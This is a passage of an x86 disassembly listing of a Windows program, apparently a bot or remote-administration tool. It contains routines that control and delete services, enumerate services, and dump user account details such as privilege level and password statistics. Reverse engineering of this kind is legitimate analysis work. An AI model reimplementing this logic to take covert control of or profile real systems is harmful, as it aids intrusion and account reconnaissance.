loc_41B283 loc_41B320: ; CODE XREF: sub_41B24B+C9j xor eax, eax inc eax jmp short loc_41B30B sub_41B24B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B325 proc near ; CODE XREF: seg000:0040FCE7p ; seg000:004102E3p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call ds:dword_42B038 ; GetTickCount push eax call sub_41ECD4 pop ecx call sub_41ECDE mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul ds:dbl_437B70 call sub_41FE38 sub esi, eax mov eax, esi pop esi leave retn sub_41B325 endp ; =============== S U B R O U T I N E ======================================= sub_41B362 proc near ; CODE XREF: seg000:0041B3D2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h rep stosd lea edi, [eax-1] xor esi, esi test edi, edi jl short loc_41B39C push ebx mov ebx, edi loc_41B37F: ; CODE XREF: sub_41B362+37j mov eax, [esp+0Ch+arg_0] movsx eax, byte ptr [esi+eax] push eax call sub_41ACB2 pop ecx mov ecx, [esp+0Ch+arg_8] inc esi mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_41B37F pop ebx loc_41B39C: ; CODE XREF: sub_41B362+18j pop edi pop esi retn sub_41B362 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 100Ch call sub_41EA20 push ebx push esi push edi push dword ptr [ebp+8] call sub_41E1C0 push dword ptr [ebp+0Ch] mov [ebp-4], eax call sub_41E1C0 mov esi, eax lea eax, [ebp-100Ch] push eax push esi push dword ptr [ebp+0Ch] mov [ebp-0Ch], esi call sub_41B362 add esp, 14h dec esi mov edi, esi jmp short loc_41B453 ; --------------------------------------------------------------------------- loc_41B3DF: ; CODE XREF: seg000:0041B455j mov eax, [ebp+0Ch] movsx eax, byte ptr [esi+eax] push eax call sub_420B27 mov ebx, eax mov eax, [ebp+8] movsx eax, byte ptr [edi+eax] push eax call sub_420B27 cmp eax, ebx pop ecx pop ecx jz short loc_41B451 loc_41B401: ; CODE XREF: seg000:0041B44Fj mov ebx, [ebp+8] xor eax, eax mov al, [edi+ebx] push eax call sub_41ACB2 mov edx, [ebp-0Ch] mov eax, [ebp+eax*4-100Ch] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41B424 mov eax, ecx loc_41B424: ; CODE XREF: seg000:0041B420j add edi, eax cmp edi, [ebp-4] jge short loc_41B461 mov eax, [ebp+0Ch] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_420B27 movsx ecx, byte ptr [edi+ebx] push ecx mov [ebp-8], eax call sub_420B27 pop ecx pop ecx mov ecx, [ebp-8] cmp eax, ecx jnz short loc_41B401 loc_41B451: ; CODE XREF: seg000:0041B3FFj dec edi dec esi loc_41B453: ; CODE XREF: seg000:0041B3DDj test esi, esi jg short loc_41B3DF mov eax, [ebp+8] add eax, edi loc_41B45C: ; CODE XREF: seg000:0041B463j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B461: ; CODE XREF: seg000:0041B429j xor eax, eax jmp short loc_41B45C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B465 proc near ; CODE XREF: sub_41BF46+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi push 0F003Fh xor ebx, ebx push ebx push ebx call ds:dword_4441C8 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_41B48C call ds:dword_42B01C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_41B501 ; --------------------------------------------------------------------------- loc_41B48C: ; CODE XREF: sub_41B465+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call ds:dword_44424C ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_41B4AC call ds:dword_42B01C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_41B4F9 ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE XREF: sub_41B465+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_41B4DF cmp eax, 3 jz short loc_41B4D0 jle short loc_41B4F2 cmp eax, 6 jg short loc_41B4F2 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call ds:dword_4441EC ; ControlService jmp short loc_41B4E6 ; --------------------------------------------------------------------------- loc_41B4D0: ; CODE XREF: sub_41B465+52j push [ebp+arg_10] push [ebp+arg_C] push esi call ds:dword_4441D0 ; StartServiceA jmp short loc_41B4E6 ; --------------------------------------------------------------------------- loc_41B4DF: ; CODE XREF: sub_41B465+4Dj push esi call ds:dword_4440F4 ; DeleteService loc_41B4E6: ; CODE XREF: sub_41B465+69j ; sub_41B465+78j test eax, eax jnz short loc_41B4F2 call ds:dword_42B01C ; RtlGetLastWin32Error mov ebx, eax loc_41B4F2: ; CODE XREF: sub_41B465+54j ; sub_41B465+59j ... push esi call ds:dword_444134 ; CloseServiceHandle loc_41B4F9: ; CODE XREF: sub_41B465+45j push edi call ds:dword_444134 ; CloseServiceHandle pop esi loc_41B501: ; CODE XREF: sub_41B465+25j pop edi mov eax, ebx pop ebx leave retn sub_41B465 endp ; =============== S U B R O U T I N E ======================================= sub_41B507 proc near ; CODE XREF: sub_41BF46:loc_41BF8Ep mov ecx, 420h cmp eax, ecx ja loc_41B5B8 jz loc_41B5B1 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_41B57B jz short loc_41B571 mov ecx, eax sub ecx, 3 jz short loc_41B567 dec ecx dec ecx jz short loc_41B55D dec ecx jz short loc_41B553 sub ecx, 51h jz short loc_41B549 sub ecx, 24h jnz loc_41B62E ; default ; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_41B620 ; --------------------------------------------------------------------------- loc_41B549: ; CODE XREF: sub_41B507+2Dj push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_41B620 ; --------------------------------------------------------------------------- loc_41B553: ; CODE XREF: sub_41B507+28j push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_41B620 ; --------------------------------------------------------------------------- loc_41B55D: ; CODE XREF: sub_41B507+25j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_41B620 ; --------------------------------------------------------------------------- loc_41B567: ; CODE XREF: sub_41B507+21j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_41B620 ; --------------------------------------------------------------------------- loc_41B571: ; CODE XREF: sub_41B507+1Aj push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_41B620 ; --------------------------------------------------------------------------- loc_41B57B: ; CODE XREF: sub_41B507+18j mov ecx, eax sub ecx, 41Ch jz short loc_41B5AA dec ecx jz short loc_41B5A3 dec ecx jz short loc_41B59C dec ecx jnz loc_41B62E ; default ; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_41B620 ; --------------------------------------------------------------------------- loc_41B59C: ; CODE XREF: sub_41B507+82j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_41B620 ; --------------------------------------------------------------------------- loc_41B5A3: ; CODE XREF: sub_41B507+7Fj push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_41B620 ; --------------------------------------------------------------------------- loc_41B5AA: ; CODE XREF: sub_41B507+7Cj push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_41B620 ; --------------------------------------------------------------------------- loc_41B5B1: ; CODE XREF: sub_41B507+Dj push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_41B620 ; --------------------------------------------------------------------------- loc_41B5B8: ; CODE XREF: sub_41B507+7j mov ecx, 45Bh cmp eax, ecx ja short loc_41B62E ; default ; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16 jz short loc_41B61B lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_41B62E ; default ; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_41B66F[ecx] jmp off_41B647[ecx*4] ; switch jump loc_41B5DC: ; DATA XREF: seg000:off_41B647o push offset aTheSpecifiedDa ; jumptable 0041B5D5 case 7 jmp short loc_41B620 ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B507+CEj ; DATA XREF: seg000:off_41B647o push offset aTheServiceDepe ; jumptable 0041B5D5 case 17 jmp short loc_41B620 ; --------------------------------------------------------------------------- loc_41B5EA: ; CODE XREF: sub_41B507+CEj ; DATA XREF: seg000:off_41B647o push offset aTheServiceDe_0 ; jumptable 0041B5D5 case 10 jmp short loc_41B620 ; --------------------------------------------------------------------------- loc_41B5F1: ; CODE XREF: sub_41B507+CEj ; DATA XREF: seg000:off_41B647o push offset aTheServiceHasB ; jumptable 0041B5D5 case 0 jmp short loc_41B620 ; --------------------------------------------------------------------------- loc_41B5F8: ; CODE XREF: sub_41B507+CEj ; DATA XREF: seg000:off_41B647o push offset aTheSpecified_0 ; jumptable 0041B5D5 case 2 jmp short loc_41B620 ; --------------------------------------------------------------------------- loc_41B5FF: ; CODE XREF: sub_41B507+CEj ; DATA XREF: seg000:off_41B647o push offset aTheServiceCoul ; jumptable 0041B5D5 case 11 jmp short loc_41B620 ; --------------------------------------------------------------------------- loc_41B606: ; CODE XREF: sub_41B507+CEj ; DATA XREF: seg000:off_41B647o push offset aTheServiceHa_0 ; jumptable 0041B5D5 case 14 jmp short loc_41B620 ; --------------------------------------------------------------------------- loc_41B60D: ; CODE XREF: sub_41B507+CEj ; DATA XREF: seg000:off_41B647o push offset aTheRequested_1 ; jumptable 0041B5D5 case 3 jmp short loc_41B620 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B507+CEj ; DATA XREF: seg000:off_41B647o push offset aTheServiceHasN ; jumptable 0041B5D5 case 4 jmp short loc_41B620 ; --------------------------------------------------------------------------- loc_41B61B: ; CODE XREF: sub_41B507+BAj push offset aTheSystemIsShu ; "The system is shutting down." loc_41B620: ; CODE XREF: sub_41B507+3Dj ; sub_41B507+47j ... push offset dword_4E1EA8 call sub_41E6A6 pop ecx pop ecx jmp short loc_41B641 ; --------------------------------------------------------------------------- loc_41B62E: ; CODE XREF: sub_41B507+32j ; sub_41B507+85j ... push eax ; default ; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset dword_4E1EA8 call sub_41E6A6 add esp, 0Ch loc_41B641: ; CODE XREF: sub_41B507+125j mov eax, offset dword_4E1EA8 retn sub_41B507 endp ; --------------------------------------------------------------------------- off_41B647 dd offset loc_41B5F1 ; DATA XREF: sub_41B507+CEr dd offset loc_41B5F8 ; jump table for switch statement dd offset loc_41B60D dd offset loc_41B614 dd offset loc_41B5DC dd offset loc_41B5EA dd offset loc_41B5FF dd offset loc_41B606 dd offset loc_41B5E3 dd offset loc_41B62E byte_41B66F db 0, 9, 1, 2 ; DATA XREF: sub_41B507+C7r db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B681 proc near ; CODE XREF: sub_40274D+430Ep var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call ds:dword_4441C8 ; OpenSCManagerA push ebx push [ebp+arg_8] mov [ebp+var_C], eax push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40123B add esp, 14h loc_41B6B9: ; CODE XREF: sub_41B681+123j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push 168h lea eax, [ebp+var_18C] push eax push 3 push 30h push [ebp+var_C] call ds:dword_4441D8 ; EnumServicesStatusA test eax, eax jnz short loc_41B6F3 call ds:dword_42B01C ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_41B7AA loc_41B6F3: ; CODE XREF: sub_41B681+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_41B7A1 lea esi, [ebp+var_188] loc_41B704: ; CODE XREF: sub_41B681+11Aj mov eax, [esi+8] dec eax jz short loc_41B750 dec eax jz short loc_41B749 dec eax jz short loc_41B742 dec eax jz short loc_41B73B dec eax jz short loc_41B734 dec eax jz short loc_41B72D dec eax lea eax, [ebp+var_20] jz short loc_41B726 push offset aUnknown_0 ; " Unknown" jmp short loc_41B758 ; --------------------------------------------------------------------------- loc_41B726: ; CODE XREF: sub_41B681+9Cj push offset aPaused ; " Paused" jmp short loc_41B758 ; --------------------------------------------------------------------------- loc_41B72D: ; CODE XREF: sub_41B681+96j push offset aPausing ; " Pausing" jmp short loc_41B755 ; --------------------------------------------------------------------------- loc_41B734: ; CODE XREF: sub_41B681+93j push offset aContinuing ; " Continuing" jmp short loc_41B755 ; --------------------------------------------------------------------------- loc_41B73B: ; CODE XREF: sub_41B681+90j push offset aRunning ; " Running" jmp short loc_41B755 ; --------------------------------------------------------------------------- loc_41B742: ; CODE XREF: sub_41B681+8Dj push offset aStoping ; " Stoping" jmp short loc_41B755 ; --------------------------------------------------------------------------- loc_41B749: ; CODE XREF: sub_41B681+8Aj push offset aStarting ; " Starting" jmp short loc_41B755 ; --------------------------------------------------------------------------- loc_41B750: ; CODE XREF: sub_41B681+87j push offset aStopped ; " Stopped" loc_41B755: ; CODE XREF: sub_41B681+B1j ; sub_41B681+B8j ... lea eax, [ebp+var_20] loc_41B758: ; CODE XREF: sub_41B681+A3j ; sub_41B681+AAj push eax call sub_41E6A6 pop ecx pop ecx push dword ptr [esi] lea eax, [ebp+var_20] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS_3 ; "%s: %s (%s)" push eax call sub_41E6A6 push 1 push [ebp+arg_8] lea eax, [ebp+var_38C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_41B704 loc_41B7A1: ; CODE XREF: sub_41B681+77j cmp [ebp+var_8], ebx jnz loc_41B6B9 loc_41B7AA: ; CODE XREF: sub_41B681+6Cj push [ebp+var_C] call ds:dword_444134 ; CloseServiceHandle xor eax, eax cmp eax, [ebp+var_4] pop edi sbb eax, eax pop esi neg eax pop ebx leave retn sub_41B681 endp ; =============== S U B R O U T I N E ======================================= sub_41B7C1 proc near ; CODE XREF: sub_41B883+Ap ; sub_41B883+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_41B7CE pop ebp retn ; --------------------------------------------------------------------------- loc_41B7CE: ; CODE XREF: sub_41B7C1+9j push ebx push esi mov esi, ds:dword_42B07C push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_41FEB2 pop ecx push edi mov ebx, eax push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi pop esi mov eax, ebx pop ebx pop ebp retn sub_41B7C1 endp ; =============== S U B R O U T I N E ======================================= sub_41B802 proc near ; CODE XREF: seg000:0041CDD0p arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_20 = dword ptr 24h mov eax, offset aDjc ; "¸¤¦C" call sub_420364 push esi xor esi, esi cmp [esp+4+arg_10], esi jnz short loc_41B819 xor eax, eax jmp short loc_41B875 ; --------------------------------------------------------------------------- loc_41B819: ; CODE XREF: sub_41B802+11j push ebx push ebp push edi mov edi, ds:dword_42B090 push esi push esi push esi push esi push 0FFFFFFFFh push [esp+24h+arg_10] mov ebx, 400h push ebx push esi call edi ; WideCharToMultiByte test byte ptr ds:dword_4E1F08, 1 mov ebp, eax jnz short loc_41B85A or ds:dword_4E1F08, 1 lea eax, [ebp+1] push eax mov [esp+4+arg_14], esi call sub_41FEB2 pop ecx mov ds:dword_4E1F04, eax loc_41B85A: ; CODE XREF: sub_41B802+3Cj push esi push esi push ebp push ds:dword_4E1F04 push 0FFFFFFFFh push [esp+14h+arg_20] push ebx push esi call edi ; WideCharToMultiByte mov eax, ds:dword_4E1F04 pop edi pop ebp pop ebx loc_41B875: ; CODE XREF: sub_41B802+15j mov ecx, [esp+4] pop esi mov large fs:0, ecx leave retn sub_41B802 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B883 proc near ; CODE XREF: sub_41BFBE+6Cp ; seg000:0041D039p ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h push edi push [ebp+arg_0] call sub_41B7C1 push [ebp+arg_4] mov edi, eax call sub_41B7C1 push 24h push [ebp+arg_4] mov [ebp+var_24], eax call sub_41EFD0 push [ebp+arg_8] neg eax sbb eax, eax and [ebp+var_1C], 0 or [ebp+var_14], 0FFFFFFFFh and [ebp+var_10], 0 and eax, 80000000h mov [ebp+var_20], eax mov [ebp+var_18], 7Fh call sub_41B7C1 and [ebp+var_8], 0 add esp, 14h mov [ebp+var_C], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push 2 push edi call ds:dword_4440E8 pop edi leave retn sub_41B883 endp ; =============== S U B R O U T I N E ======================================= sub_41B8EE proc near ; CODE XREF: sub_41BFBE+20p ; seg000:0041CD45p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41B7C1 push [esp+8+arg_4] mov esi, eax call sub_41B7C1 pop ecx pop ecx push 0 push eax push esi call ds:dword_444104 pop esi retn sub_41B8EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B911 proc near ; CODE XREF: sub_41C19B+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_41B7C1 push [ebp+arg_4] mov edi, eax call sub_41B7C1 push [ebp+arg_8] mov [ebp+var_24], eax call sub_41B7C1 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 add esp, 0Ch lea ecx, [ebp+var_4] push ecx mov [ebp+var_20], eax xor eax, eax lea ecx, [ebp+var_24] inc eax push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call ds:dword_4440C8 pop edi leave retn sub_41B911 endp ; =============== S U B R O U T I N E ======================================= sub_41B96B proc near ; CODE XREF: sub_41C19B+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41B7C1 push [esp+8+arg_4] mov esi, eax call sub_41B7C1 pop ecx pop ecx push eax push esi call ds:dword_4441D4 pop esi retn sub_41B96B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B98C proc near ; CODE XREF: sub_41C19B+2Dp var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 208h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_41B7C1 push [ebp+arg_4] mov esi, eax call sub_41B7C1 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call ds:dword_4440EC test eax, eax mov [ebp+var_8], eax jnz loc_41BD19 mov eax, [ebp+var_4] test eax, eax jz loc_41BD54 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_208] push offset aAccountS ; "Account: %S" push eax call sub_41E6A6 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_208] push offset aFullNameS ; "Full Name: %S" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_208] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_208] push offset aCommentS ; "Comment: %S" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] mov eax, [eax+10h] add esp, 40h sub eax, 0 jz short loc_41BAA5 dec eax jz short loc_41BA9E dec eax jz short loc_41BA97 mov eax, offset aUnknown ; "Unknown" jmp short loc_41BAAA ; --------------------------------------------------------------------------- loc_41BA97: ; CODE XREF: sub_41B98C+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41BAAA ; --------------------------------------------------------------------------- loc_41BA9E: ; CODE XREF: sub_41B98C+FFj mov eax, offset aUser_1 ; "User" jmp short loc_41BAAA ; --------------------------------------------------------------------------- loc_41BAA5: ; CODE XREF: sub_41B98C+FCj mov eax, offset aGuest ; "Guest" loc_41BAAA: ; CODE XREF: sub_41B98C+109j ; sub_41B98C+110j ... push eax lea eax, [ebp+var_208] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_208] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_208] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_208] push offset aParametersS ; "Parameters: %S" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_208] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_208] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_208] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_208] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_208] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_208] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_208] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_208] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_208] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_208] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_208] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41E6A6 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_40123B add esp, 20h pop edi pop ebx jmp short loc_41BD45 ; --------------------------------------------------------------------------- loc_41BD19: ; CODE XREF: sub_41B98C+35j push eax lea eax, [ebp+var_208] push offset unk_438134 push eax call sub_41E6A6 push 0 push [ebp+arg_10] lea eax, [ebp+var_208] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40123B add esp, 20h loc_41BD45: ; CODE XREF: sub_41B98C+38Bj cmp [ebp+var_4], 0 jz short loc_41BD54 push [ebp+var_4] call ds:dword_444140 loc_41BD54: ; CODE XREF: sub_41B98C+40j ; sub_41B98C+3BDj mov eax, [ebp+var_8] pop esi leave retn sub_41B98C endp ; =============== S U B R O U T I N E ======================================= sub_41BD5A proc near ; CODE XREF: sub_41BE8A+9Ep ; sub_41BFBE:loc_41BFFEp ... mov ecx, 858h cmp eax, ecx ja loc_41BE08 jz loc_41BE01 cmp eax, 7Bh ja short loc_41BDCD jz short loc_41BDC3 cmp eax, 5 jz short loc_41BDB9 cmp eax, 8 jz short loc_41BDAF cmp eax, 32h jz short loc_41BDA5 cmp eax, 35h jz short loc_41BD9B cmp eax, 57h jnz loc_41BE57 push offset aInvalidParamet ; "Invalid parameter." jmp loc_41BE78 ; --------------------------------------------------------------------------- loc_41BD9B: ; CODE XREF: sub_41BD5A+2Cj push offset aServerNameNotF ; "Server name not found." jmp loc_41BE78 ; --------------------------------------------------------------------------- loc_41BDA5: ; CODE XREF: sub_41BD5A+27j push offset aThisNetworkReq ; "This network request is not supported." jmp loc_41BE78 ; --------------------------------------------------------------------------- loc_41BDAF: ; CODE XREF: sub_41BD5A+22j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_41BE78 ; --------------------------------------------------------------------------- loc_41BDB9: ; CODE XREF: sub_41BD5A+1Dj push offset aAccessDenied_ ; "Access denied." jmp loc_41BE78 ; --------------------------------------------------------------------------- loc_41BDC3: ; CODE XREF: sub_41BD5A+18j push offset aTheNameIsInval ; "The name is invalid." jmp loc_41BE78 ; --------------------------------------------------------------------------- loc_41BDCD: ; CODE XREF: sub_41BD5A+16j sub eax, 7Ch jz short loc_41BDFA sub eax, 7C8h jz short loc_41BDF3 dec eax jz short loc_41BDE9 dec eax jnz short loc_41BE57 push offset aDuplicateShare ; "Duplicate share name." jmp loc_41BE78 ; --------------------------------------------------------------------------- loc_41BDE9: ; CODE XREF: sub_41BD5A+80j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_41BE78 ; --------------------------------------------------------------------------- loc_41BDF3: ; CODE XREF: sub_41BD5A+7Dj push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_41BE78 ; --------------------------------------------------------------------------- loc_41BDFA: ; CODE XREF: sub_41BD5A+76j push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_41BE78 ; --------------------------------------------------------------------------- loc_41BE01: ; CODE XREF: sub_41BD5A+Dj push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_41BE78 ; --------------------------------------------------------------------------- loc_41BE08: ; CODE XREF: sub_41BD5A+7j mov ecx, 8C5h cmp eax, ecx ja short loc_41BE41 jz short loc_41BE3A sub eax, 8ADh jz short loc_41BE6C dec eax dec eax jz short loc_41BE33 dec eax jz short loc_41BE2C dec eax dec eax jnz short loc_41BE57 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_41BE78 ; --------------------------------------------------------------------------- loc_41BE2C: ; CODE XREF: sub_41BD5A+C5j push offset aTheUserAccount ; "The user account already exists." jmp short loc_41BE78 ; --------------------------------------------------------------------------- loc_41BE33: ; CODE XREF: sub_41BD5A+C2j push offset aTheGroupAlread ; "The group already exists." jmp short loc_41BE78 ; --------------------------------------------------------------------------- loc_41BE3A: ; CODE XREF: sub_41BD5A+B7j push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_41BE78 ; --------------------------------------------------------------------------- loc_41BE41: ; CODE 